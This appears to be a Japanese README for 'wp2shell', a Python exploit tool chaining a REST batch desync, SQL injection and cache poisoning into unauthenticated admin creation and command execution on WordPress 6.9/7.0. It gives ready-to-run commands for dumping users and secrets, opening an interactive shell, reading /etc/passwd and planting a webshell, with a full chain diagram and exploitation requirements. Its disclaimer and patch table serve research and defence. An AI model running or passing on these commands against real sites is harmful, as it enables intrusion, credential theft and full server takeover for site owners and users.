WordPress 6.9.0~6.9.4 および 7.0.0~7.0.1 に対する認証前のリモートコード実行。
CVE-2026-63030(バッチルート混乱による SQLi)と CVE-2026-60137(カスタマイザーの changeset 再エントリ)を連鎖させ、認証なしでの管理者作成と OS コマンド実行を実現します。パスワードクラックは不要です。

hashkitten による発見に感謝します。完全な SLCyber の技術分析はこちらをお読みください。
WordPress の REST API バッチプロセッサ(serve_batch_request_v1)には、オフバイワンのインデックスバグがあります。wp_parse_url() がサブリクエストのパスで失敗すると、結果の WP_Error は $validation[] にはプッシュされますが、$matches[] にはプッシュされません。これにより 2 つの配列の同期が崩れ、それ以降のすべてのリクエストが誤ったハンドラでディスパッチされます。
バッチの中に慎重に構成したバッチをネストすることで、攻撃者は以下を実行できます。
author__not_in を通じてサニタイズされていない SQL を注入する(文字列→配列キャストが absint() をスキップする)UNION SELECT を使用して WordPress のオブジェクトキャッシュを偽の投稿オブジェクトで汚染するセットアップが完了すると(テーブルプレフィックスと管理者 ID の特定)、昇格ペイロードは単一の HTTP リクエストで発火します。キャッシュポイズニング、権限昇格、ユーザー作成はすべてサーバーサイドで 1 ラウンドトリップで発生します。
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
キャッシュポイズニング(UNION による 7 つの偽投稿):
[embed] ショートコードを含むトリガー投稿customize_changeset、ステータス future、日付は過去)is_nav_menu_item チェックのために post_type=nav_menu_item として汚染)post_type=request、post_status=parse、parent=inner)実行フロー:
[embed] ショートコードが発火wp_update_post にフォールスルーwp_update_post がキャッシュされた changeset(parent=outer)を読み取る → 階層チェックが Loop 1 を検出future ステータスで DB に書き込む → 自動的に publish に変換_wp_customize_publish_changeset が発火 → wp_set_current_user(admin_id) → 管理者コンテキストが有効にnav_menu_item[real_id] を処理 — キャッシュは type=nav_menu_item を返す → UPDATE パスobject_id が post_parent=re-entry を持つキャッシュ済み投稿に解決 → 実投稿に対して wp_update_post$post_id)が Loop 2(re-entry ↔ inner)を検出再帰防止用の MySQL セッション変数(@_wp2s)により、チェーンは正確に 1 回だけ発火し、ループしません。
--cleanup は終了時に作成したユーザーを削除し、ウェブシェルを除去git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
pip install も virtualenv も不要です。単一ファイルです。
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
check と read コマンドは、影響を受けるすべてのターゲットで動作します。exploit チェーンには追加で 3 つの要件があります。
ターゲットが Redis または Memcached をオブジェクトキャッシュとして使用している場合、split_the_query は per_page に関係なく強制され、UNION 行は ID のみのフェッチ中に破棄されます。read コマンドは引き続き機能します(ブラインド抽出は UNION がキャッシュに生き残る必要がない)が、exploit は失敗します。
| ブランチ | 脆弱なバージョン | 修正版 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
このパッチは、エラーケースに $matches[] = $single_request; を追加し(オフバイワンを修正)、serve_request() に再エントリガードを追加します。
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
ソースルートとして /wp/v2/widgets を使う理由は?
Widgets コントローラは、エンドポイントスキーマに per_page、orderby、author_exclude を登録しません。これらのパラメータは検証をそのまま通過します(不明なパラメータはスキーマバリデータによって無視されます)。デシンクがこのリクエストを Posts コントローラ経由でディスパッチすると、これらの生の値が直接 WP_Query に流れ込みます。
なぜ per_page=500 なのか?
class-wp-query.php:3375 — split_the_query は !empty($limits) && posts_per_page < 500 を必要とします。per_page=500 の場合、500 < 500 は false になるため、split_the_query は無効になります。UNION を含む完全なクエリが単一ステートメントとして実行され、注入されたすべての行が結果セットとキャッシュに生き残ります。
なぜ nav_menu_item[real_id](正の ID)なのか?
正の投稿 ID を使用すると、nav-menu.php:614 の UPDATE パスに入り、非ゼロの $post_id で wp_update_post を呼び出します。これは、post.php:8070 の wp_check_post_hierarchy_for_loops が $post_id = 0(新規投稿)の場合に早期リターンするため重要です。キャッシュはその ID に対して post_type=nav_menu_item で汚染されるため、is_nav_menu_item() は nav-menu.php:426 の型チェックを通過します。その後、UPDATE パスが階層チェックをトリガーし、Loop 2 を検出します。
なぜ 2 つの階層ループが必要なのか?
Loop 1(changeset ↔ outer)は changeset の公開をトリガーし、管理者コンテキストを設定します。Loop 2(re-entry ↔ inner)は、管理者ウィンドウ内(changeset 公開ループ内のナビメニュー項目設定の save() 呼び出しの中)で発火し、parse_request → REST 再エントリをトリガーします。2 つのループは独立しています。Loop 2 の修正処理は、3589 行目のリセットより前の 3581 行目で、管理者ウィンドウ中に再エントリ投稿を DB に書き込む必要があるためです。
このツールは、認可されたセキュリティテストおよび研究目的で公開されています。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。
研究および開発: CryptoCat
wp_update_post(re-entry) を呼び出す → type=request、status=parse を DB に書き込むwp_transition_post_status が do_action("parse_request") を発火 → rest_api_loaded() → serve_request()POST /wp/v2/users が成功 → 管理者が作成される → die()| 要件 | 理由 | デフォルトの WP? |
|---|
| 公開済みの投稿が少なくとも 1 つ | oEmbed が埋め込み処理をトリガーするにはローカル URL が必要 | あり(Hello World) |
| 永続的なオブジェクトキャッシュがない | UNION 行が生き残るには split-the-query が無効である必要がある | あり(ファイルキャッシュがデフォルト) |
| REST API にアクセス可能 | parse_request による再エントリには REST サーバーが必要 | あり |
| ファイルシステムへの直接書き込み | プラグインのアップロードには FS_METHOD=direct または PHP が wp-content を所有している必要がある | あり(ほとんどのホスト) |